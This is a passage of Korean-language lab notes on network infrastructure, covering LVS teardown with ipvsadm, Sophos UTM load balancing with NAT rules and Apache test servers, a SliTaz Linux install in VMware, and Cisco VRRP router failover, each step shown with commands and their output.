  -&gt; 192.168.100.103:80           Route   1      0          0         
  -&gt; 192.168.100.104:80           Route   1      0          0         
  -&gt; 192.168.100.105:80           Route   1      0          0         

# ipvsadm -L
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -&gt; RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  web1.linuxmaster.net:http rr
  -&gt; 192.168.100.101:http         Route   1      0          0
  -&gt; 192.168.100.102:http         Route   1      0          0
  -&gt; 192.168.100.103:http         Route   1      0          0
  -&gt; 192.168.100.104:http         Route   1      0          0
  -&gt; 192.168.100.105:http         Route   1      0          0

등록된 Real Server를 모두 삭제한다.
--delete-server   -d        delete real server
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.105
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.104
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.103
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.102
# ipvsadm -d -t 172.16.10.102:80 -r 192.168.100.101

등록된 Real Server가 모두 삭제되었다.
# ipvsadm -Ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -&gt; RemoteAddress:Port           Forward Weight ActiveConn InActConn
TCP  172.16.10.102:80 rr

--delete-service  -D        delete virtual service
# ipvsadm -D -t 172.16.10.102:80 
# ipvsadm  -Ln
IP Virtual Server version 1.2.1 (size=4096)
Prot LocalAddress:Port Scheduler Flags
  -&gt; RemoteAddress:Port           Forward Weight ActiveConn InActConn

# ip a d 172.16.10.102 dev ens33
</code></pre><blockquote>
<p><strong>실습&gt; UTM에서 LVS 설정하기</strong></p>
</blockquote>
<pre><code>참고:
https://cafe.naver.com/linuxmasternet/546

!!! 중요 !!!
LSB를 설정하기 위해서는 NAT &gt; DNAT [WEB#1 DNAT 설정] 룰을 중지해야 한다.



Sophos UTM LSB(Server Load Balancing)

Virtual Server 정보(대표 공인 IP주소)
- 200.200.200.101

Real Server 정보
Real Server#1: 
- VM명: CentOS WEB#1
- VMware Network: VMnet2
- IP주소: 172.16.10.101/24
- 게이트웨이: 172.16.10.253
- DNS 서버: 172.16.10.253
- [X] Automatically connect
- 호스트명: web1.linuxmaster.net

Real Server#2: 
- VM명: CentOS WEB#2
- VMware Network: VMnet2
- IP주소: 172.16.10.102/24
- 게이트웨이: 172.16.10.253
- DNS 서버: 172.16.10.253
- [X] Automatically connect
- 호스트명: web2.linuxmaster.net

1. DNAT 설정 중지
UTM에서 LSB(Server Load Balancing 서버 부하 분산)를 설정하면 자동으로 NAT 방식으로 설정된다. 
그러므로 DNAT가 설정되어 있다면 중지해야 한다.

NAT 방식: 사설 네트워크를 이용하는 방법
Real Server는 모두 사설 IP주소를 가지고 있다.
요청: Client -&gt; LVS(UTM) -&gt; Real Server, 응답: Real Server -&gt; LVS(UTM) -&gt; Client

[Network Protection] &gt; [NAT] &gt; [NAT] &gt; DNAT 중지

2. LSB 설정
[Network Protection] &gt; [Server Load Balancing] &gt; [Balancing Rules] &gt; [+ New Load Balancing Rule...]

Add Load Balancing Rule
Service: HTTP  &lt;-- 향후 HTTP/HTTPS로 그룹을 묶어서 사용하는 것을 테스트!
Virtual server: External [WEB#1] (Address)  &lt;-- 200.200.200.101
Real Servers:
    - WEB#1  &lt;-- + 를 클릭해서 아래처럼 생성한다. (이미 있다면 생략한다.)
        Add Network Definition
        Name: WEB#1
        Type: Host
        IPv4 address: 172.16.10.101
        Comment: DMZ 웹서버#1
    - WEB#2  &lt;-- + 를 클릭해서 아래처럼 생성한다. (이미 있다면 생략한다.)
        Add Network Definition
        Name: WEB#2
        Type: Host
        IPv4 address: 172.16.10.102
        Comment: DMZ 웹서버#2

Check type: TCP
Interval: 15
Timeout: 5
Automatic firewall rules: 체크  
Shutdown virtual server address: 체크 안함  
Comment: UTM SLB Test

Save &gt; On &gt; Reload 

External [WEB#1] (Address)  -o-  HTTP  --&gt;  WEB#1 (Up), WEB#2 (Down)
UTM LSB Test

콘솔에서 iptables 룰을 확인한다.
utm9:/root # iptables-save &gt; iptables3.txt
utm9:/root # vi iptables3.txt 

135번 라인에 LOAD_BALANCING 룰 하나가 설정된다.
-A LOAD_BALANCING -d 200.200.200.101/32 -p tcp -m tcp --sport 1:65535 --dport 80 -j ASG_BALANCE \
--balance_name REF_PacLoaHttpToExter --balance_server 172.16.10.101,172.16.10.102 --balance_alg roundrobin \
--balance_persist --balance_persist_size 4000 --balance_persist_time 3600

3. SNAT 룰 설정
WEB#1, WEB#2 서버의 SNAT 설정을 한다.
[Network Protection] &gt; [NAT] &gt; [NAT] &gt; [+ New NAT Rule...]

WEB#1 SNAT 설정

Group: :: No Group :: 
Position: Bottom
Rule type: SNAT (source)

Matching condition
For traffic from: WEB#1  &lt;-- + 를 클릭해서 아래처럼 생성한다. (이미 있다면 생략한다.)
        Add Network Definition
        Name: WEB#1
        Type: Host
        IPv4 address: 172.16.10.101
        Comment: DMZ 웹서버#1
Using service: Any
Going to: Any

Action
Change the source to: External [WEB#1] (Address)  &lt;-- 200.200.200.101
And the service to:    

Automatic firewall rule: 체크 O
Comment: WEB#1 SNAT 설정

Save &gt; On


WEB#2 SNAT 설정

Group: :: No Group :: 
Position: Bottom
Rule type: SNAT (source)

Matching condition
For traffic from: WEB#2  &lt;-- + 를 클릭해서 아래처럼 생성한다. (이미 있다면 생략한다.)
        Add Network Definition
        Name: WEB#2
        Type: Host
        IPv4 address: 172.16.10.102
        Comment: DMZ 웹서버#2
Using service: Any
Going to: Any

Action
Change the source to: External [WEB#1] (Address)  &lt;-- 200.200.200.101
And the service to:    

Automatic firewall rule: 체크 O
Comment: WEB#2 SNAT 설정

Save &gt; On

4. DNS 설정
[Network Services] &gt; [DNS] &gt; [Global] &gt; [Allowd Networks]
- DMZ(Networks)
- Internal(Networks)

5. 웹서버 설치 및 설정
UTM에서 방화벽 역할을 하므로 웹서버에서는 방화벽을 모두 내린다.
회사마다 정책이 다르므로 이 부분은 그 회사 정책을 따르지만 일반적으로 모두 내린다.
여기서는 APM중에서 아파치만 설정하는 것으로 한다.

WEB#1 설정
[root@web1 ~]# systemctl stop firewalld
[root@web1 ~]# systemctl disable firewalld
[root@web1 ~]# yum -y install httpd

아파치의 가상 호스트 부분이 있다면 모두 삭제하고 ServerName 127.0.0.1을 맨 마지막에 추가한다.
[root@web1 ~]# vi /etc/httpd/conf/httpd.conf
  :
  :(생략)
ServerName 127.0.0.1

임시 웹페이지를 생성한다.
[root@web1 ~]# echo &#39;Welcome to 172.16.10.101 DMZ WEB Server!&#39; &gt; /var/www/html/index.html

IP주소와 호스트명을 /etc/hosts 파일에 추가한다.
[root@web1 ~]# cat /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.16.10.101 web1.linuxmaster.net web1

웹서버를 활성화하고 시작한다.
[root@web1 ~]# systemctl enable --now httpd  (enable --now: enable + start)

WEB#2 설정
[root@web2 ~]# systemctl stop firewalld
[root@web2 ~]# systemctl disable firewalld
[root@web2 ~]# yum -y install httpd

아파치의 가상 호스트 부분이 있다면 모두 삭제하고 ServerName 127.0.0.1을 맨 마지막에 추가한다.
[root@web2 ~]# vi /etc/httpd/conf/httpd.conf
  :
  :(생략)
ServerName 127.0.0.1

임시 웹페이지를 생성한다.
[root@web2 ~]# echo &#39;Welcome to 172.16.10.102 DMZ WEB Server!&#39; &gt; /var/www/html/index.html

IP주소와 호스트명을 /etc/hosts 파일에 추가한다.
[root@web2 ~]# cat /etc/hosts
127.0.0.1   localhost localhost.localdomain localhost4 localhost4.localdomain4
::1         localhost localhost.localdomain localhost6 localhost6.localdomain6
172.16.10.102 web2.linuxmaster.net web2

웹서버를 활성화하고 시작한다.
[root@web2 ~]# systemctl enable --now httpd  (enable --now: enable + start)

6. 동시 접속 테스트
[root@web#1 ~]# yum -y install lynx
[root@web#2 ~]# yum -y install lynx
[root@web#1 ~]# for i in $(seq 1000)
do 
    echo &quot;&gt;&gt;&gt; $i &lt;&lt;&lt;&quot;
    lynx --dump 200.200.200.101
    sleep 1
done

&gt;&gt;&gt; 1 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

&gt;&gt;&gt; 2 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

&gt;&gt;&gt; 3 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

&gt;&gt;&gt; 4 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!
  :
  :(생략)

[root@web#2 ~]# for i in $(seq 1000)
do 
    echo &quot;&gt;&gt;&gt; $i &lt;&lt;&lt;&quot;
    lynx --dump 200.200.200.101
    sleep 1
done
&gt;&gt;&gt; 1 &lt;&lt;&lt;
   Welcome to 172.16.10.101 DMZ WEB Server!

&gt;&gt;&gt; 2 &lt;&lt;&lt;
   Welcome to 172.16.10.101 DMZ WEB Server!

&gt;&gt;&gt; 3 &lt;&lt;&lt;
   Welcome to 172.16.10.101 DMZ WEB Server!

&gt;&gt;&gt; 4 &lt;&lt;&lt;
   Welcome to 172.16.10.101 DMZ WEB Server!
  :
  :(생략)


시간이 어느정도 지나서 
다른 터미널 하나를 열어서 Real 서버1에서 아파치 웹서버를 중지한다. 
[root@WEB#1 ~]# systemctl stop httpd


Real 서버1에서 아파치 웹서버를 중지된 상태에서 Real 서버2로 접속된다.
[root@WEB#1 ~]#
  :
  :(생략)
&gt;&gt;&gt; 97 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

&gt;&gt;&gt; 98 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

&gt;&gt;&gt; 99 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

&gt;&gt;&gt; 100 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!


Real 서버1에서 아파치 웹서버를 중지된 상태에서 Real 서버2로 접속된다.
[root@WEB#2 ~]#
  :
  :(생략)
&gt;&gt;&gt; 98 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

&gt;&gt;&gt; 99 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

&gt;&gt;&gt; 100 &lt;&lt;&lt;
   Welcome to 172.16.10.102 DMZ WEB Server!

관리 페이지에서는 WEB#1 이 다운되었다는 것을 확인할 수 있다.
External [WEB#1] (Address)        HTTP -&gt; WEB#1 (Down), WEB#2 (Up)
UTM LSB Test
</code></pre><blockquote>
<p><strong>실습&gt; SliTaz 리눅스 설치</strong></p>
</blockquote>
<pre><code>ISO 다운로드
http://mirror.slitaz.org/iso/4.0/flavors/slitaz-4.0-base.iso
https://ko.wikipedia.org/wiki/슬리타즈

1. VM생성
VMware 로 VM 2개를 먼저 생성한다. 
VM명: slitaz1
VMnet: VMnet1

VM명: slitaz2
VMnet: VMnet2

2. HDD 추가
설정에 들어가서 IDE HDD 를 하나를 추가하고 SCSI HDD를 삭제한다.

3. 서버 부팅
서버를 부팅한다.
로그인 정보
사용자: root
비밀번호: root

4. 파티션 작업
root@dolilive:~# fdisk -l

Disk /dev/hda: 2147 MB, 2147483648 bytes
16 heads, 63 sectors/track, 4161 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

Disk /dev/hda doesn&#39;t contain a valid partition table


root@dolilive:~# fdisk /dev/hda
Device contains neither a valid DOS partition table, nor Sun, SGI, OSF or GPT disklabel
Building a new DOS disklabel. Changes will remain in memory only,
until you decide to write them. After that the previous content
won&#39;t be recoverable.


The number of cylinders for this disk is set to 4161.
There is nothing wrong with that, but this is larger than 1024,
and could in certain setups cause problems with:
1) software that runs at boot time (e.g., old versions of LILO)
2) booting and partitioning software from other OSs
   (e.g., DOS FDISK, OS/2 FDISK)

Command (m for help): n
Command action
   e   extended
   p   primary partition (1-4)
p
Partition number (1-4): 1
First cylinder (1-4161, default 1): Using default value 1
Last cylinder or +size or +sizeM or +sizeK (1-4161, default 4161): Using default value 4161

Command (m for help): p

Disk /dev/hda: 2147 MB, 2147483648 bytes
16 heads, 63 sectors/track, 4161 cylinders
Units = cylinders of 1008 * 512 = 516096 bytes

   Device Boot      Start         End      Blocks  Id System
/dev/hda1               1        4161     2097112+ 83 Linux

Command (m for help): w
The partition table has been altered!

Calling ioctl() to re-read partition table

5. 설치
root@dolilive:~# tazinst new /var/lib/tazinst.conf
root@dolilive:~# vi /var/lib/tazinst.conf
TGT_PARTITION=&quot;/dev/hda1&quot;
TGT_USER_PWD=&quot;tux&quot;   
TGT_GRUB=&quot;yes&quot;                                                         

root@dolilive:~# tazinst install /var/lib/tazinst.conf
1. Formatting / partition: /dev/hda1 (ext3)
2. Installing SliTaz on: /dev/hda1
/usr/sbin/tazinst: line 54: /media/source/boot/grub/splash.xpm.gz: Permission denied
3. Configuring host name: slitaz
4. Configuring root and default user account: tux
Password for &#39;root&#39; changed
Password for &#39;tux&#39; changed
5. Running grub-install on: /dev/hda
Installation finished. No error reported.
This is the contents of the device map /mnt/target/boot/grub/device.map.
Check if this is correct or not. If any of the lines is incorrect,
fix it and re-run the script `grub-install&#39;.

(hd0)    /dev/hda
6. Installation complete. You can now restart (reboot)
   from your SliTaz GNU/Linux system.
Copying log files (/var/log/tazinst.log)...
Unmounting target partition: /dev/hda1
Unmounting: /media/source
root@dolilive:~# reboot

6. 서버 로그인
서버를 재부팅해서 root/root로 서버에 로그인을 한다.

ssh 시작
root@slitaz:~# /etc/init.d/dropbear start

외부 터미널 접속
ssh로 접속한다.
</code></pre><blockquote>
<p><strong>실습&gt; 라우터 이중화 VRRP 설정하기</strong></p>
</blockquote>
<pre><code>VRRP(Virtual Router Redundancy Protocol)는 RFC Standard  2338에 정의된 표준 프로토콜이다. 
HSRP는 Cisco 에서 개발되어 Cisco만 지원하지만 VRRP는 모든 Vendor에서 지원되는 IEEE에서 표준으로 제정한 Protocol 이다.

VRRP는 라우터를 이중화하는 기술로 
여러 대 (최소 2대 이상)의 Router를 하나의 group으로 묶어서 
Client의 Gateway에 대한 IP Address를 공유하고 Priority가 높은 Router가 Master로 설정되고 Gateway로 동작하다가 
Master Router에 장애가 발생하면 
그 다음 Priority의 높은 값을 가진 Backup Router가 Master를 넘겨 받아 변경되어 Gateway로 동작한다. 
그러므로 Client는 장애없이 통신을 유지 할 수 있다.

특징
Multicast 주소: 224.0.0.8
hello time: 1초, hold time: 3초
주: master, 보조: backup

VRRP 상태변화
Init: 이중화 동작의 준비 상태
Backup: init 다음 상태 또는 보조 장비 상태
Master: 주 장비 역할을 수행하는 상태


파일명: vrrp.gns

1. PC 설정
PC1&gt; ip 192.168.10.11 255.255.255.0 192.168.10.1
Checking for duplicate address...
PC1 : 192.168.10.11 255.255.255.0 gateway 192.168.10.1

PC1&gt; sh ip

NAME        : PC1[1]
IP/MASK     : 192.168.10.11/24
GATEWAY     : 192.168.10.1
DNS         : 
MAC         : 00:50:79:66:68:00
LPORT       : 10028
RHOST:PORT  : 127.0.0.1:10029
MTU:        : 1500

PC2&gt; ip 172.16.10.11 255.255.255.0 172.16.10.1
Checking for duplicate address...
PC1 : 172.16.10.11 255.255.255.0 gateway 172.16.10.1

PC2&gt; sh ip

NAME        : PC2[1]
IP/MASK     : 172.16.10.11/24
GATEWAY     : 172.16.10.1
DNS         : 
MAC         : 00:50:79:66:68:01
LPORT       : 10030
RHOST:PORT  : 127.0.0.1:10031
MTU:        : 1500

PC3&gt; ip 172.16.10.12 255.255.255.0 172.16.10.1
Checking for duplicate address...
PC1 : 172.16.10.12 255.255.255.0 gateway 172.16.10.1

PC3&gt; sh ip

NAME        : PC3[1]
IP/MASK     : 172.16.10.12/24
GATEWAY     : 172.16.10.1
DNS         : 
MAC         : 00:50:79:66:68:02
LPORT       : 10032
RHOST:PORT  : 127.0.0.1:10033
MTU:        : 1500

2. R3 설정
conf t
 int fa0/0
 ip add 192.168.0.2 255.255.255.0
 no sh
 do sh run int fa0/0
! 
 int fa0/1
 ip addr 192.168.1.2 255.255.255.0
 no sh 
 do sh run int fa0/1
!
 int fa1/0
  ip add 192.168.10.1 255.255.255.0
  no sh 
  do sh run int fa1/0
 end
!
R3#sh ip int b
Interface                  IP-Address      OK? Method Status                Protocol
FastEthernet0/0            192.168.0.2     YES manual up                    up      
Serial0/0                  unassigned      YES unset  administratively down down    
FastEthernet0/1            192.168.1.2     YES manual up                    up      
Serial0/1                  unassigned      YES unset  administratively down down    
Serial0/2                  unassigned      YES unset  administratively down down    
Serial0/3                  unassigned      YES unset  administratively down down    
FastEthernet1/0            192.168.10.1      YES manual up                    up      
FastEthernet2/0            unassigned      YES unset  administratively down down    
FastEthernet3/0            unassigned      YES unset  administratively down down    
FastEthernet4/0            unassigned      YES unset  administratively down down  

라우팅 설정
!
conf t
 ip route 172.16.10.0 255.255.255.0 192.168.0.1
 ip route 172.16.10.0 255.255.255.0 192.168.1.1
 end
! 
R3#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is not set

     172.16.0.0/24 is subnetted, 1 subnets
S       172.16.10.0 [1/0] via 192.168.1.1
                    [1/0] via 192.168.0.1
     10.0.0.0/24 is subnetted, 1 subnets
C       192.168.10.0 is directly connected, FastEthernet1/0
C    192.168.0.0/24 is directly connected, FastEthernet0/0
C    192.168.1.0/24 is directly connected, FastEthernet0/1

R3#wr
Building configuration...
[OK]


3. 통신 확인
R3#ping 192.168.10.11

Type escape sequence to abort.
Sending 5, 100-byte ICMP Echos to 192.168.10.11, timeout is 2 seconds:
!!!!!
Success rate is 100 percent (5/5), round-trip min/avg/max = 36/56/72 ms

PC1&gt; ping 192.168.10.1
84 bytes from 192.168.10.1 icmp_seq=1 ttl=255 time=13.319 ms
84 bytes from 192.168.10.1 icmp_seq=2 ttl=255 time=15.321 ms
84 bytes from 192.168.10.1 icmp_seq=3 ttl=255 time=15.657 ms
84 bytes from 192.168.10.1 icmp_seq=4 ttl=255 time=14.981 ms
84 bytes from 192.168.10.1 icmp_seq=5 ttl=255 time=15.290 ms

4. 라우터 설정

!R1 설정
conf t
 int fa0/0
 ip address 172.16.10.2 255.255.255.0
 no sh 
 do sh run int fa0/0
! 
 int fa0/1
 ip add 192.168.0.1 255.255.255.0
 no sh 
 do sh run int fa0/1
!
 ip route 0.0.0.0 0.0.0.0 192.168.0.2
 end
!
wr
!

!R2 설정
conf t
 int fa0/0
 ip add 172.16.10.3 255.255.255.0
 no sh 
 do sh run int fa0/0
!
 int fa0/1
 ip add 192.168.1.1 255.255.255.0
 no sh 
 do sh run int fa0/1
!
 ip route 0.0.0.0 0.0.0.0 192.168.1.2
 end
!
wr
!

5. VRRP 설정

!R1 VRRP 설정
conf t
 track 1 int fa0/1 line-protocol  &lt;-- Tracking 정책 설정(fa0/1 장애 감지)
 int fa0/0               &lt;-- 인터페이스 선택
 vrrp 1 ip 172.16.10.1   &lt;-- 공유하는 Gateway 주소
 vrrp 1 priority 110     &lt;-- 우선순위(기본값 100)를 110으로 설정
 vrrp 1 preempt          &lt;-- Master의 장애 복구 시 Master를 수행
 vrrp 1 track 1 decrement 30  &lt;-- VRRP에 Track 정책 적용(우선순위 30 감소)
 end
!

R1#sh vrrp all
FastEthernet0/0 - Group 1  
  State is Master  
  Virtual IP address is 172.16.10.1
  Virtual MAC address is 0000.5e00.0101  &lt;-- 가상의 MAC주소(R2와 동일)
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 110 
    Track object 1 state Up decrement 30
  Master Router is 172.16.10.2 (local), priority is 110 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.570 sec

R1#sh vrrp b  
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3570       Y  Master  172.16.10.2     172.16.10.1  

R1이 가지고 있는 원래의 MAC주소 c401.4530.0000
R1#sh int fa0/0
FastEthernet0/0 is up, line protocol is up 
  Hardware is Gt96k FE, address is c401.4530.0000 (bia c401.4530.0000)
  Internet address is 172.16.10.2/24
  MTU 1500 bytes, BW 10000 Kbit/sec, DLY 1000 usec, 
     reliability 255/255, txload 1/255, rxload 1/255
  Encapsulation ARPA, loopback not set
  :
  :(생략)

!R2 VRRP 설정
conf t
 int fa0/0
 vrrp 1 ip 172.16.10.1  &lt;-- 공유하는 Gateway 주소
 vrrp 1 priority 100    &lt;-- 우선순위(기본값 100)를 100으로 설정
 vrrp 1 preempt         &lt;-- Master의 장애 복구 시 Master를 수행
 end
!

R2#sh vrrp all
FastEthernet0/0 - Group 1  
  State is Backup  
  Virtual IP address is 172.16.10.1
  Virtual MAC address is 0000.5e00.0101   &lt;-- 가상의 MAC주소(R1과 동일)
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 100 
  Master Router is 172.16.10.2, priority is 110 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.609 sec (expires in 3.169 sec)

R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1   

R2가 가지고 있는 원래의 MAC주소 c402.3834.0000
R2#sh int fa0/0
FastEthernet0/0 is up, line protocol is up 
  Hardware is Gt96k FE, address is c402.3834.0000 (bia c402.3834.0000)
  Internet address is 172.16.10.3/24
  MTU 1500 bytes, BW 10000 Kbit/sec, DLY 1000 usec, 
     reliability 255/255, txload 1/255, rxload 1/255
  :
  :(생략)

R2#wr
Building configuration...
[OK]
R2#

6. 라우팅 확인
R1#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 192.168.0.2 to network 0.0.0.0

     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, FastEthernet0/0
C    192.168.0.0/24 is directly connected, FastEthernet0/1
S*   0.0.0.0/0 [1/0] via 192.168.0.2

R2#sh ip route
Codes: C - connected, S - static, R - RIP, M - mobile, B - BGP
       D - EIGRP, EX - EIGRP external, O - OSPF, IA - OSPF inter area 
       N1 - OSPF NSSA external type 1, N2 - OSPF NSSA external type 2
       E1 - OSPF external type 1, E2 - OSPF external type 2
       i - IS-IS, su - IS-IS summary, L1 - IS-IS level-1, L2 - IS-IS level-2
       ia - IS-IS inter area, * - candidate default, U - per-user static route
       o - ODR, P - periodic downloaded static route

Gateway of last resort is 192.168.1.2 to network 0.0.0.0

     172.16.0.0/24 is subnetted, 1 subnets
C       172.16.10.0 is directly connected, FastEthernet0/0
C    192.168.1.0/24 is directly connected, FastEthernet0/1
S*   0.0.0.0/0 [1/0] via 192.168.1.2

7. VRRP 확인
R1#sh vrrp all
FastEthernet0/0 - Group 1  
  State is Master  
  Virtual IP address is 172.16.10.1
  Virtual MAC address is 0000.5e00.0101
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 110 
    Track object 1 state Up decrement 30
  Master Router is 172.16.10.2 (local), priority is 110 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.570 sec

R1#sh vrrp b  
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3570       Y  Master  172.16.10.2     172.16.10.1  

R2#sh vrrp all
FastEthernet0/0 - Group 1  
  State is Backup  
  Virtual IP address is 172.16.10.1
  Virtual MAC address is 0000.5e00.0101
  Advertisement interval is 1.000 sec
  Preemption enabled
  Priority is 100 
  Master Router is 172.16.10.2, priority is 110 
  Master Advertisement interval is 1.000 sec
  Master Down interval is 3.609 sec (expires in 2.989 sec)

R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1   

8. 통신 확인
PC1&gt; ping 172.16.10.11
172.16.10.11 icmp_seq=1 timeout
172.16.10.11 icmp_seq=2 timeout
84 bytes from 172.16.10.11 icmp_seq=3 ttl=62 time=60.816 ms
84 bytes from 172.16.10.11 icmp_seq=4 ttl=62 time=60.036 ms
84 bytes from 172.16.10.11 icmp_seq=5 ttl=62 time=60.698 ms

PC2&gt; ping 192.168.10.11
84 bytes from 192.168.10.11 icmp_seq=1 ttl=62 time=60.304 ms
84 bytes from 192.168.10.11 icmp_seq=2 ttl=62 time=61.048 ms
84 bytes from 192.168.10.11 icmp_seq=3 ttl=62 time=60.288 ms
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=61.053 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.013 ms

9. 우선 순위 변경
현재 R1의 priority의 값이 R2의 100 보다 높기 때문에 Master로 설정된 것이다.
R1#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3414       Y  Master  172.16.10.2     172.16.10.1

현재 R2의 priority의 값이 R1의 110 보다 낮기 때문에 Bakcup으로 설정된 것이다.
R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1

R1에서 priority의 값을 20으로 변경하면 R2의 100 보다 낮기 때문에 Master에서 Backup으로 변경된 것이다.
R1#conf t
R1(config)#int fa0/0
R1(config-if)#vrrp 1 priority 20
*Mar  1 01:55:10.567: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Master -&gt; Backup
R1(config-if)#end
R1#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   20  3921       Y  Backup  172.16.10.3     172.16.10.1

R2에서도 R1에서 priority의 값을 변경했으므로 R1의 20보다 높기 때문에 Backup에서 Master로 변경된 것이다.
*Mar  1 01:53:40.527: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Backup -&gt; Master
R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Master  172.16.10.3     172.16.10.1

R1에서 priority의 값을 다시 110으로 변경해서 Backup보다 높기 때문에 Master로 변경된 것이다.
*Mar  1 01:53:40.527: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Backup -&gt; Master

우선 순위 설정을 다 확인했다면 R1의 우선순위 값을 다시 원래 값은 110으로 설정한다.
R1(config-if)#vrrp 1 priority 110
R1(config-if)#do sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   110 3570       Y  Master  172.16.10.2     172.16.10.1 

R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Backup  172.16.10.2     172.16.10.1    


10. 통신 경로 확인

PC2&gt; ping 192.168.10.11
192.168.10.11 icmp_seq=1 timeout
192.168.10.11 icmp_seq=2 timeout
84 bytes from 192.168.10.11 icmp_seq=3 ttl=62 time=60.513 ms
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=60.740 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.443 ms

GateWay의 IP주소와 MAC주소는 가상의 주소를 사용하는 것을 알 수 있다.
PC2&gt; sh arp 

00:00:5e:00:01:01  172.16.10.1 expires in 46 seconds 

Master, Backup 2개가 정상적으로 동작이 될 때 패킷 경로는 Master쪽으로 나가는 것을 알 수 있다.
PC2&gt; trace 192.168.10.11
trace to 192.168.10.11, 8 hops max, press Ctrl+C to stop
 1   172.16.10.2   15.613 ms  15.211 ms  14.467 ms
 2   192.168.0.2   45.709 ms  46.359 ms  45.543 ms
 3   *192.168.10.11   60.253 ms (ICMP type:3, code:3, Destination port unreachable)


R1 라우터 장애 발생: 중지를 누른다.
R1 라우터가 장애가 발생하는 순간 R2 라우터에서 state 상태가 Backup -&gt; Master로 변경된다.
R2#
*Mar  1 01:13:25.651: %VRRP-6-STATECHANGE: Fa0/0 Grp 1 state Backup -&gt; Master
R2#sh vrrp b
Interface          Grp Pri Time  Own Pre State   Master addr     Group addr
Fa0/0              1   100 3609       Y  Master  172.16.10.3     172.16.10.1  

PC2&gt; ping 192.168.10.11
192.168.10.11 icmp_seq=1 timeout
192.168.10.11 icmp_seq=2 timeout
84 bytes from 192.168.10.11 icmp_seq=3 ttl=62 time=60.044 ms
84 bytes from 192.168.10.11 icmp_seq=4 ttl=62 time=59.915 ms
84 bytes from 192.168.10.11 icmp_seq=5 ttl=62 time=60.518 ms

PC2&gt; sh arp

00:00:5e:00:01:01  172.16.10.1 expires in 11 seconds 

PC2&gt; trace 192.168.10.11
trace to 192.168.10.11, 8 hops max, press Ctrl+C to stop
 1   172.16.10.3   15.808 ms  15.220 ms  15.462 ms   &lt;-- 여기 부분
 2   192.168.1.2   45.419 ms  45.323 ms  46.166 ms
 3   *192.168.10.11   60.578 ms (ICMP type:3, code:3, Destination port unreachable)

와이어 샤크로 R2쪽 라인의 패킷을 모니터링하면서 PC2에서 192.168.10.11로 ping 테스트를 해서 패킷을 확인한다. 
PC2&gt; ping 192.168.10.11 
84 bytes from 192.168.10.11 icmp_seq=1 ttl=62 time=60.170 ms
